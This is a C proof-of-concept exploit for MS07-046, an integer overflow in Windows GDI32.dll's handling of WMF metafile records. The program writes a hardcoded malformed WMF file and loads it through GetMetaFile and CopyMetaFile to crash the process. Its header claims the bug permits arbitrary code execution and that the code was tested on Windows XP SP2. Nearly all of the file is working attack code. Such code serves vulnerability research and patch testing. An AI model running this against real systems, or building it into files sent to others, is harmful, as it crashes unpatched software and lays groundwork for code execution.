/*
* MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code
* by Hong Gil-Dong & Chun Woo-Chi
* Yang yeon(?~1542), Korea
* "I shall keep clenching my left fist unitl i see the real tao".
* This POC is only for test. If an application read a malformed wmf
* file like this POC, the application will be crashed. If you apply
* this code, you can execute an arbitrary code.
*
* We tested this code on Windows XP SP2 Korean Edition
* (GDI32.dll version 5.1.2600.3099). But it will work well on other
* systems.
*/
#include <stdio.h>
#include <windows.h>
#define WMF_FILE "ms07-046.wmf"
void usage(void);
int main()
{
FILE *fp;
char wmf[] = "\x01\x00\x09\x00\x00\x03\x11\x00\x00\x00\x00\x00"\
"\x05\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x13\x02"\
"\x32\x00\x96\x00\x03\x00\x00\x00\x00\x00";
int i;
HMETAFILE srcMeta;
usage();
if ((fp = fopen(WMF_FILE, "w")) == NULL) {
printf("File %s write error\n", WMF_FILE);
return 0;
}
for(i=0; i<sizeof(wmf)-1; i++)
fputc(wmf[i], fp);
fclose(fp);
srcMeta = GetMetaFile(WMF_FILE);
CopyMetaFile( srcMeta, NULL);
return 0;
}
void usage(void)
{
printf("MS07-046 Windows Meta File RecordParms Integer Overflow \n");
printf("Proof of Concept by Hong Gil-Dong & Chun Woo-Chi \n");
}
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